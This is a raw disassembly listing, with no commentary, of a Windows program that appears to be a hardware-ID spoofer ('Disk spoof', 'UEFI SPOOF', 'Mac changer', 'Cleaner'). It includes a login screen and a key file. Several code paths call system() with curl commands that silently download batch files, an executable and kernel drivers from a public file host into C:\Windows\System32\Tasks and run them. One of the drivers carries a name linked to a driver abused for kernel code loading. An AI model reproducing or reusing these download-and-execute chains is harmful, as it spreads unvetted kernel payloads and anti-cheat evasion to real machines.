movzx r13d, byte [rsp + 0x71]
movss xmm5, dword [0x140178f88]
lea r9, [rbp - 0x48]
movss xmm4, dword [0x140178f94]
lea r8, [rbp - 0x40]
mov r10, qword [0x14017a058]
lea rdx, [rbp - 0x60]
movss xmm2, dword [0x140178f8c]
movss xmm3, dword [0x140178f90]
mov rcx, qword [0x14017a020]
movss dword [rbp - 0x60], xmm4
movss dword [rbp - 0x5c], xmm5
mov rax, qword [rcx + 0x4010]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4010]
mov rcx, r10
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
addss xmm1, xmm2
addss xmm0, xmm3
movss dword [rax + 0x110], xmm1
movaps xmm1, xmmword [0x1400cae50]
movss dword [rax + 0x114], xmm0
xorps xmm0, xmm0
mov byte [rax + 0x151], 1
lea rax, [rbp + 0xed8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xec8]
mov qword [rsp + 0x20], rax
movups xmmword [rbp + 0xed8], xmm0
mov dword [rbp - 0x48], 0x3f800000
movups xmmword [rbp + 0xec8], xmm1
mov dword [rbp - 0x44], 0x3f800000
mov qword [rbp - 0x40], 0
call fcn.140034540
mov r10, qword [0x14017a048]
lea r9, [rbp - 0x38]
mov rcx, qword [0x14017a020]
lea r8, [rbp - 0x30]
lea rdx, [rbp - 0x28]
mov dword [rbp - 0x28], 0x41b00000
mov dword [rbp - 0x24], 0x41b00000
mov rax, qword [rcx + 0x4010]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4010]
mov rcx, r10
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
addss xmm1, dword [0x1400cace8]
addss xmm0, xmm11
movss dword [rax + 0x110], xmm1
movaps xmm1, xmmword [0x1400cae50]
movss dword [rax + 0x114], xmm0
xorps xmm0, xmm0
mov byte [rax + 0x151], 1
lea rax, [rbp + 0xeb8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xea0]
mov qword [rsp + 0x20], rax
movups xmmword [rbp + 0xeb8], xmm0
mov dword [rbp - 0x38], 0x3f800000
movups xmmword [rbp + 0xea0], xmm1
mov dword [rbp - 0x34], 0x3f800000
mov qword [rbp - 0x30], 0
call fcn.140034540
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.140012520
test al, al
je 0x14003e946
xor ecx, ecx
call fcn.140007c30
test al, al
jne 0x14004644e
mov r10, qword [0x14017a068]
lea r9, [rbp - 0x20]
mov rcx, qword [0x14017a020]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x10]
mov dword [rbp - 0x10], 0x41700000
mov dword [rbp - 0xc], 0x41c80000
mov rax, qword [rcx + 0x4010]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4010]
mov rcx, r10
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
addss xmm1, dword [0x1400cace0]
addss xmm0, xmm11
movss dword [rax + 0x110], xmm1
movaps xmm1, xmmword [0x1400cae50]
movss dword [rax + 0x114], xmm0
xorps xmm0, xmm0
mov byte [rax + 0x151], 1
lea rax, [rbp + 0xe90]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xe80]
mov qword [rsp + 0x20], rax
movups xmmword [rbp + 0xe90], xmm0
mov dword [rbp - 0x20], 0x3f800000
movups xmmword [rbp + 0xe80], xmm1
mov dword [rbp - 0x1c], 0x3f800000
mov qword [rbp - 0x18], 0
call fcn.140034540
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.140012520
test al, al
je 0x14003ea40
xor ecx, ecx
call fcn.140007c30
test al, al
je 0x14003ea40
mov rcx, qword [0x14017a030]
mov edx, 6
call qword [sym.imp.USER32.dll_ShowWindow]
nop dword [rax]
movaps xmm0, xmmword [0x1400cae30]
lea rcx, [rbp + 0xe70]
movups xmmword [rbp + 0xe70], xmm0
call fcn.140004520
xorps xmm0, xmm0
lea rcx, [rbp + 0xe60]
movups xmmword [rbp + 0xe60], xmm0
mov r11d, eax
call fcn.140004520
xorps xmm0, xmm0
lea rcx, [rbp + 0xe50]
movups xmmword [rbp + 0xe50], xmm0
mov r10d, eax
call fcn.140004520
movaps xmm0, xmmword [0x1400cae30]
lea rcx, [rbp + 0xf08]
movups xmmword [rbp + 0xf08], xmm0
mov r8d, eax
movaps xmm0, xmm7
movss dword [rbp], xmm6
addss xmm0, dword [0x1400cabf0]
movaps xmm1, xmm6
movss dword [rbp + 4], xmm7
addss xmm1, dword [0x1400cacec]
movss dword [rbp - 4], xmm0
movss dword [rbp - 8], xmm1
call fcn.140004520
mov dword [rsp + 0x30], r11d
lea rdx, [rbp]
mov dword [rsp + 0x28], r10d
mov r9d, eax
mov dword [rsp + 0x20], r8d
mov rcx, r15
lea r8, [rbp - 8]
call fcn.140028910
xorps xmm0, xmm0
lea rcx, [rbp + 0xfa8]
movups xmmword [rbp + 0xfa8], xmm0
call fcn.140004520
xorps xmm0, xmm0
lea rcx, [rbp + 0xfe8]
movups xmmword [rbp + 0xfe8], xmm0
mov r11d, eax
call fcn.140004520
movaps xmm0, xmmword [0x1400cae30]
lea rcx, [rbp + 0xe30]
movups xmmword [rbp + 0xe30], xmm0
mov r10d, eax
call fcn.140004520
movaps xmm0, xmmword [0x1400cae30]
lea rcx, [rbp + 0xe40]
movups xmmword [rbp + 0xe40], xmm0
mov r8d, eax
movaps xmm1, xmm6
movss dword [rbp + 0x14], xmm7
addss xmm1, dword [0x1400cac10]
addss xmm6, dword [0x1400cac04]
movaps xmm0, xmm7
addss xmm0, dword [0x1400cacdc]
movss dword [rbp + 8], xmm1
movss dword [rbp + 0x10], xmm6
movss dword [rbp + 0xc], xmm0
call fcn.140004520
mov dword [rsp + 0x30], r11d
lea rdx, [rbp + 0x10]
mov dword [rsp + 0x28], r10d
mov r9d, eax
mov dword [rsp + 0x20], r8d
mov rcx, r15
lea r8, [rbp + 8]
call fcn.140028910
cmp dword [0x14017a444], 0
jne 0x14003f1cd
call fcn.140046790
cvttss2si eax, dword [0x1400dc130]
lea rcx, [rbp + 0x600]
mov dword [0x14017a404], 0
mov dword [0x14017a428], 0
movd xmm0, eax
cvttss2si eax, dword [0x1400dc134]
cvtdq2ps xmm0, xmm0
movd xmm1, eax
cvttss2si eax, dword [0x1400dc138]
mulss xmm0, xmm12
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x600], xmm0
mulss xmm1, xmm12
movd xmm0, eax
cvttss2si eax, dword [0x1400dc13c]
movss dword [rbp + 0x604], xmm1
cvtdq2ps xmm0, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm0, xmm12
mulss xmm1, xmm12
movss dword [rbp + 0x608], xmm0
movss dword [rbp + 0x60c], xmm1
call fcn.140004520
mov rsi, qword [0x14017a050]
mov r14d, eax
movss xmm7, dword [0x140178f90]
mov rcx, rsi
addss xmm7, dword [0x1400cac80]
call fcn.140011180
movss xmm15, dword [0x1400cacb0]
lea r13, [0x1400c9f2a]
xor edi, edi
lea r12, str.ANTIX
movaps xmm6, xmm9
lea r15d, [rdi + 1]
nop word [rax + rax]
mov rbx, qword [0x14017a020]
lea rdx, [rbp + 0x6f8]
mov dword [rbp + 0x6f8], 0
movss xmm0, dword [rbx + 0x38e8]
lea rcx, [rbx + 0x4a98]
movss dword [rbp + 0x6fc], xmm0
call fcn.14001c190
mov rcx, qword [0x14017a020]
movaps xmm0, xmm10
divss xmm0, xmm6
mov rax, qword [rcx + 0x4010]
movaps xmm1, xmm10
divss xmm0, xmm14
movss dword [rbx + 0x38e8], xmm0
mov byte [rax + 0xc0], r15b
mov rax, qword [rcx + 0x4010]
mov ecx, r14d
mov rdx, qword [rax + 0x2a8]
call fcn.140004a10
movaps xmm0, xmm6
movaps xmm1, xmm7
addss xmm0, xmm15
mov r8d, eax
addss xmm1, xmm6
mov rcx, rsi
movss dword [rbp + 0x18], xmm0
movss dword [rbp + 0x1c], xmm1
test eax, 0xff000000
je 0x14003ed89
test rsi, rsi
jne 0x14003ed4b
mov rax, qword [rdx + 0x38]
mov rcx, qword [rax + 8]
movups xmm0, xmmword [rdx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [rsp + 0x60]
movss dword [rsp + 0x40], xmm9
lea r9, [rbp + 0x18]
mov qword [rsp + 0x38], r13
movaps xmm2, xmm11
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r8d
movups xmmword [rsp + 0x60], xmm0
call fcn.14002cd20
mov ecx, r15d
call fcn.140004a50
inc edi
movd xmm6, edi
cvtdq2ps xmm6, xmm6
comiss xmm13, xmm6
ja 0x14003eca0
movss xmm15, dword [0x1400cab84]
call fcn.140011220
cvttss2si eax, dword [0x1400dc150]
lea rcx, [rbp + 0x610]
movd xmm0, eax
cvttss2si eax, dword [0x1400dc154]
cvtdq2ps xmm0, xmm0
movd xmm1, eax
cvttss2si eax, dword [0x1400dc158]
mulss xmm0, xmm12
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x610], xmm0
mulss xmm1, xmm12
movd xmm0, eax
cvttss2si eax, dword [0x1400dc15c]
movss dword [rbp + 0x614], xmm1
cvtdq2ps xmm0, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm0, xmm12
mulss xmm1, xmm12
movss dword [rbp + 0x618], xmm0
movss dword [rbp + 0x61c], xmm1
call fcn.140004520
mov rsi, qword [0x14017a050]
mov r14d, eax
movss xmm7, dword [0x140178f90]
mov rcx, rsi
addss xmm7, dword [0x1400cac80]
call fcn.140011180
xor edi, edi
lea r12, [0x1400c9f30]
movaps xmm6, xmm9
lea r13, str.V1.0
nop dword [rax]
nop dword [rax + rax]
mov rbx, qword [0x14017a020]
lea rdx, [rbp + 0x798]
mov dword [rbp + 0x798], 0
movss xmm0, dword [rbx + 0x38e8]
lea rcx, [rbx + 0x4a98]
movss dword [rbp + 0x79c], xmm0
call fcn.14001c190
mov rcx, qword [0x14017a020]
movaps xmm0, xmm10
divss xmm0, xmm6
mov rax, qword [rcx + 0x4010]
movaps xmm1, xmm10
divss xmm0, xmm14
movss dword [rbx + 0x38e8], xmm0
mov byte [rax + 0xc0], r15b
mov rax, qword [rcx + 0x4010]
mov ecx, r14d
mov rdx, qword [rax + 0x2a8]
call fcn.140004a10
movaps xmm0, xmm6
addss xmm6, xmm7
mov r8d, eax
mov rcx, rsi
addss xmm0, dword [0x1400cacc4]
movss dword [rbp + 0x24], xmm6
movss dword [rbp + 0x20], xmm0
test eax, 0xff000000
je 0x14003ef59
test rsi, rsi
jne 0x14003ef1b
mov rax, qword [rdx + 0x38]
mov rcx, qword [rax + 8]
movups xmm0, xmmword [rdx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [rsp + 0x60]
movss dword [rsp + 0x40], xmm9
lea r9, [rbp + 0x20]
mov qword [rsp + 0x38], r12
movaps xmm2, xmm11
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r8d
movups xmmword [rsp + 0x60], xmm0
call fcn.14002cd20
mov ecx, r15d
call fcn.140004a50
inc edi
movd xmm6, edi
cvtdq2ps xmm6, xmm6
comiss xmm13, xmm6
ja 0x14003ee70
movzx r12d, byte [rsp + 0x70]
movzx r13d, byte [rsp + 0x71]
call fcn.140011220
movss xmm0, dword [0x140178f90]
addss xmm0, dword [0x1400caca4]
movss xmm6, dword [0x1400cacc0]
movss xmm7, dword [0x1400cac94]
movss dword [rsp + 0x30], xmm6
movss dword [rsp + 0x28], xmm0
movss dword [rsp + 0x20], xmm7
call fcn.14003a580
movss xmm2, dword [0x140178f90]
lea rdx, [0x14017a3e9]
mov rcx, qword [0x14017a020]
addss xmm2, xmm6
movss xmm3, dword [0x1400cac8c]
mov rax, qword [rcx + 0x4010]
mov byte [rax + 0xc0], r15b
mov rax, qword [rcx + 0x4010]
mov r8, qword [rax + 0x2a8]
mov byte [rax + 0xc0], r15b
mov rax, qword [rcx + 0x4010]
lea rcx, str.Remember_me
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
addss xmm1, dword [0x1400cacd8]
addss xmm2, xmm0
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm2
mov byte [rax + 0x151], r15b
call fcn.14003a920
movss xmm3, dword [0x140178f90]
lea rdx, [0x1400c9f54]
movss xmm0, dword [0x1400cac4c]
lea rcx, str.Login
addss xmm3, dword [0x1400cacc8]
movss dword [rsp + 0x28], xmm0
movaps xmm2, xmm7
movss dword [rsp + 0x20], xmm6
call fcn.14003a000
xor r14d, r14d
test al, al
je 0x14003f1d6
xorps xmm0, xmm0
mov dword [0x14017a444], r15d
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], r14
lea rcx, [0x14017a430]
mov qword [rbp + 0xf8], r14
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rcx + rbx], r14b
jne 0x14003f0c3
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x140046478
cmp rbx, 0xf
ja 0x14003f116
mov rdx, rcx
mov qword [rbp + 0xf0], rbx
lea rcx, [rbp + 0xe0]
mov qword [rbp + reloc.WS2_32.dll_ntohs8], 0xf
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx + 0xe0], r14b
jmp 0x14003f1b8
mov rsi, rbx
or rsi, 0xf
cmp rsi, rax
jbe 0x14003f135
mov rsi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14003f15c
cmp rsi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x14003f17b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14004647e
mov rcx, rax
call fcn.1400b0814
test rax, rax
je 0x140046457
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14003f18d
test rcx, rcx
je 0x14003f18a
call fcn.1400b0814
mov rdi, rax
jmp 0x14003f18d
mov rdi, r14
mov r8, rbx
mov qword [rbp + 0xe0], rdi
lea rdx, [0x14017a430]
mov qword [rbp + 0xf0], rbx
mov rcx, rdi
mov qword [rbp + 0xf8], rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rbx], r14b
lea rdx, [rbp + 0xe0]
lea rcx, [0x14017a0d0]
nop
nop
nop
nop
nop
jmp 0x14003f1d6
mov r15d, 1
xor r14d, r14d
cmp dword [0x14017a444], 1
jne 0x14003f54b
cmp byte [0x14017a3e9], 0
movss xmm0, dword [0x14017a404]
mov rax, qword [0x14017a020]
addss xmm0, dword [rax + 0x18]
movss dword [0x14017a404], xmm0
je 0x14003f3c3
xor edx, edx
lea rcx, [rbp + 0x1108]
mov r8d, 0x100
call sub.VCRUNTIME140.dll_memset
lea rax, [0x140000000]
lea rax, [rax + 0xca648]
lea rcx, [rbp + 0x11a8]
mov qword [rbp + 0x1100], rax
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
xor r9d, r9d
lea rdx, [rbp + 0x1108]
xor r8d, r8d
lea rcx, [rbp + 0x1100]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
mov rax, qword [rbp + 0x1100]
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x1100], rbx
mov rax, qword [rbp + 0x1100]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x10fc], edx
lea rcx, [rbp + 0x1108]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [rbp + 0x1184], 0
lea rcx, [rbp + 0x1108]
mov qword [rbp + 0x1108], rax
mov byte [rbp + 0x1179], 0
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov rax, qword [0x14017ab00]
lea rdx, str.key.cock
mov r9d, 0x40
mov qword [rbp + 0x1188], r14
lea rcx, [rbp + 0x1108]
mov qword [rbp + 0x117c], rax
mov qword [rbp + 0x1170], r14
lea r8d, [r9 - 0x3e]
call fcn.140047bf0
test rax, rax
jne 0x14003f324
mov rax, qword [rbp + 0x1100]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea edx, [r8 + 2]
lea rax, [rbp + 0x1100]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, [rbp + 0x1100]
call fcn.140048030
lea rcx, [rbp + 0x1108]
call fcn.140047b30
test rax, rax
jne 0x14003f363
mov rax, qword [rbp + 0x1100]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea edx, [r8 + 2]
lea rax, [rbp + 0x1100]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rax, qword [rbp + 0x1100]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x1100], rbx
mov rax, qword [rbp + 0x1100]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x10fc], edx
lea rcx, [rbp + 0x1108]
call fcn.140047460
lea rcx, [rbp + 0x1110]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x11a8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
movss xmm0, dword [0x14017a404]
mov rax, qword [0x14017a020]
comiss xmm0, dword [0x1400cabc8]
jb 0x14003f54b
movss xmm0, dword [0x14017a400]
movss xmm2, dword [rax + 0x18]
movss xmm1, dword [0x1400cab40]
mulss xmm2, dword [0x1400cac08]
subss xmm1, xmm0
mov byte [0x14017a3e8], 1
movss xmm3, dword [0x140178f88]
movss xmm4, dword [0x140178f94]
mulss xmm1, xmm2
addss xmm0, xmm1
movss dword [0x14017a400], xmm0
movss xmm0, dword [0x14017a428]
test r13b, r13b
je 0x14003f447
movss xmm2, dword [0x140178f90]
addss xmm0, xmm8
movss xmm1, dword [0x1400cacd4]
movss dword [0x14017a428], xmm0
jmp 0x14003f4d7
movss xmm1, dword [0x140178f8c]
addss xmm0, xmm9
movaps xmm2, xmm14
subss xmm2, xmm1
movss dword [0x14017a428], xmm0
movss xmm0, dword [0x1400cac48]
mulss xmm2, xmm8
addss xmm1, xmm2
movss xmm2, dword [0x140178f90]
subss xmm0, xmm2
movss dword [0x140178f8c], xmm1
movss xmm1, dword [0x1400cacec]
mulss xmm0, xmm8
subss xmm1, xmm4
addss xmm2, xmm0
mulss xmm1, xmm8
addss xmm4, xmm1
movss dword [0x140178f90], xmm2
movss xmm1, dword [0x1400cacd4]
movaps xmm0, xmm1
subss xmm0, xmm3
movss dword [0x140178f94], xmm4
mulss xmm0, xmm8
addss xmm3, xmm0
movss dword [0x140178f88], xmm3
test r12b, r12b
je 0x14003f52e
movaps xmm0, xmm1
movss xmm1, dword [0x1400cacb4]
subss xmm0, xmm2
subss xmm1, xmm4
mulss xmm0, xmm8
mulss xmm1, xmm8
addss xmm2, xmm0
movss xmm0, dword [0x1400cac80]
subss xmm0, xmm3
addss xmm4, xmm1
movss dword [0x140178f90], xmm2
mulss xmm0, xmm8
movss dword [0x140178f94], xmm4
addss xmm3, xmm0
movss dword [0x140178f88], xmm3
comiss xmm2, dword [0x1400cacd0]
jbe 0x14003f54b
movzx eax, byte [0x14017a300]
neg al
sbb ecx, ecx
and ecx, 2
mov dword [0x14017a444], ecx
cmp dword [0x14017a444], 2
jne 0x1400460ad
call fcn.140046790
movss xmm2, dword [0x140178f90]
lea rcx, str.Logs
addss xmm2, dword [0x1400cac84]
movss xmm8, dword [0x1400cacb8]
movss xmm7, dword [0x1400cacb4]
movaps xmm3, xmm8
movss xmm1, dword [0x1400cac48]
movss dword [rsp + 0x20], xmm7
call fcn.14003b780
movss xmm1, dword [0x140178f90]
movaps xmm3, xmm7
addss xmm1, dword [0x1400cac84]
movss xmm0, dword [0x1400cac48]
movaps xmm2, xmm8
call fcn.14003b870
mov rbx, qword [0x14017a060]
movss xmm7, dword [0x140178f90]
mov rcx, rbx
movups xmm6, xmmword [0x1400dc140]
addss xmm7, dword [0x1400cac88]
call fcn.140011180
mov rcx, qword [0x14017a020]
movaps xmm1, xmm6
shufps xmm1, xmm6, 0x55
mov rax, qword [rcx + 0x4010]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4010]
lea rcx, [rbp + 0x620]
mov r8, qword [rax + 0x2a8]
cvttss2si eax, xmm6
movd xmm0, eax
cvtdq2ps xmm0, xmm0
cvttss2si eax, xmm1
mulss xmm0, xmm12
movaps xmm1, xmm6
shufps xmm1, xmm6, 0xaa
shufps xmm6, xmm6, 0xff
movss dword [rbp + 0x620], xmm0
movd xmm0, eax
cvtdq2ps xmm0, xmm0
cvttss2si eax, xmm1
mulss xmm0, xmm12
movss dword [rbp + 0x624], xmm0
movd xmm0, eax
cvtdq2ps xmm0, xmm0
cvttss2si eax, xmm6
mulss xmm0, xmm12
movss dword [rbp + 0x628], xmm0
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm12
movss dword [rbp + 0x62c], xmm0
call fcn.140004520
movss dword [rbp - 0x80], xmm7
mov dword [rsp + 0x7c], 0x42480000
test eax, 0xff000000
je 0x14003f6ff
test rbx, rbx
jne 0x14003f6a8
mov rcx, qword [r8 + 0x38]
mov rbx, qword [rcx + 8]
movups xmm0, xmmword [r8 + 0x88]
lea rcx, [0x1400c9f80]
mov byte [rsp + 0x48], 0
movss xmm2, dword [0x1400cac34]
lea r9, [rsp + 0x7c]
movss dword [rsp + 0x40], xmm9
mov rdx, r8
mov qword [rsp + 0x38], rcx
lea rcx, str.___LOGS
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x28], rcx
mov rcx, rbx
movups xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x20], eax
call fcn.14002cd20
call fcn.140011220
mov r8, qword [0x14017a020]
movsxd rax, dword [r8 + 0x4a88]
cmp eax, 1
jl 0x14003f73f
mov rcx, qword [r8 + 0x4a90]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
movups xmmword [r8 + rax*8 + 0x39cc], xmm0
dec dword [r8 + 0x4a88]
call fcn.14000b6f0
movss xmm2, dword [0x140178f90]
lea rcx, str.Parameters
addss xmm2, dword [0x1400cac84]
movss xmm7, dword [0x1400caccc]
movaps xmm3, xmm8
movss xmm6, dword [0x1400cac7c]
movaps xmm1, xmm7
movss dword [rsp + 0x20], xmm6
call fcn.14003b780
movss xmm1, dword [0x140178f90]
movaps xmm3, xmm6
addss xmm1, dword [0x1400cac84]
movaps xmm2, xmm8
movaps xmm0, xmm7
call fcn.14003b870
movss xmm2, dword [0x140178f90]
lea rdx, [0x14017a01d]
mov rcx, qword [0x14017a020]
addss xmm2, dword [0x1400cac54]
movss xmm7, dword [0x1400cac80]
movaps xmm3, xmm7
mov rax, qword [rcx + 0x4010]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4010]
mov r8, qword [rax + 0x2a8]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4010]
lea rcx, str.Mac_changer
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
addss xmm1, dword [0x1400caca8]
addss xmm2, xmm0
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm2
mov byte [rax + 0x151], 1
call fcn.14003a920
cmp byte [0x14017a01d], 0
je 0x14003f862
lea rcx, str.curl___silent_https:__files.catbox.moe_8o2zsu.bat___output_C:WindowsSystem32Tasksmac.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Tasksmac.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [0x14017a01d], 0
movss xmm2, dword [0x140178f90]
lea rdx, [0x14017a01e]
mov rcx, qword [0x14017a020]
addss xmm2, dword [0x1400cac64]
movss xmm3, dword [0x1400cac9c]
mov rax, qword [rcx + 0x4010]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4010]
mov r8, qword [rax + 0x2a8]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4010]
lea rcx, str.Arp_fix
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
addss xmm1, dword [0x1400caca8]
addss xmm0, xmm2
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
mov byte [rax + 0x151], 1
call fcn.14003a920
movss xmm2, dword [0x140178f90]
lea rdx, [0x14017a01c]
mov rcx, qword [0x14017a020]
addss xmm2, dword [0x1400cac68]
movss xmm3, dword [0x1400cac98]
mov rax, qword [rcx + 0x4010]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4010]
mov r8, qword [rax + 0x2a8]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4010]
lea rcx, str.Cleaner
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
addss xmm1, dword [0x1400caca8]
addss xmm0, xmm2
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
mov byte [rax + 0x151], 1
call fcn.14003a920
cmp byte [0x14017a01c], 0
je 0x14003f9be
lea rcx, str.curl___silent_https:__files.catbox.moe_y9cisa.sys___output_C:WindowsSystem32Taskscleaner.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Taskscleaner.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [0x14017a01c], 0
movss xmm2, dword [0x140178f90]
lea rdx, [0x14017a01f]
mov rcx, qword [0x14017a020]
addss xmm2, xmm6
movss xmm3, dword [0x1400cac90]
mov rax, qword [rcx + 0x4010]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4010]
mov r8, qword [rax + 0x2a8]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4010]
lea rcx, str.Disk_spoof
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
addss xmm1, dword [0x1400caca8]
addss xmm2, xmm0
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm2
mov byte [rax + 0x151], 1
call fcn.14003a920
cmp byte [0x14017a01f], 0
je 0x14003fa7d
lea rcx, str.curl___silent_https:__files.catbox.moe_oh09l1.bat___output_C:WindowsSystem32Tasksdisk.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Tasksdisk.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [0x14017a01f], 0
call fcn.14000b6f0
movss xmm2, dword [0x140178f90]
lea rcx, str.Buttons
addss xmm2, dword [0x1400cacbc]
movss xmm1, dword [0x1400caccc]
movaps xmm3, xmm8
movss dword [rsp + 0x20], xmm6
call fcn.14003b780
movss xmm1, dword [0x140178f90]
movaps xmm3, xmm6
addss xmm1, dword [0x1400cacbc]
movss xmm0, dword [0x1400caccc]
movaps xmm2, xmm8
call fcn.14003b870
movss xmm3, dword [0x140178f90]
lea rdx, [0x1400ca198]
movss xmm0, dword [0x1400cacb0]
lea rcx, str.UEFI_SPOOF
addss xmm3, dword [0x1400cac60]
movss xmm8, dword [0x1400cac50]
movss xmm2, dword [0x1400cac2c]
movss dword [rsp + 0x28], xmm8
movss dword [rsp + 0x20], xmm0
call fcn.14003a000
test al, al
je 0x14003fb2a
mov byte [0x14017a01a], 1
jmp 0x14003fb37
cmp byte [0x14017a01a], 0
je 0x140045fb2
lea rcx, str.curl___silent_https:__files.catbox.moe_sdfbn8.sys___output_C:WindowsSystem32Taskswinxsrcsv64.EXE__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_n6i5j0.sys___output_C:WindowsSystem32Taskswinxsrcsv64.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_2mxhwn.sys___output_C:WindowsSystem32Tasksiqvw64e.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
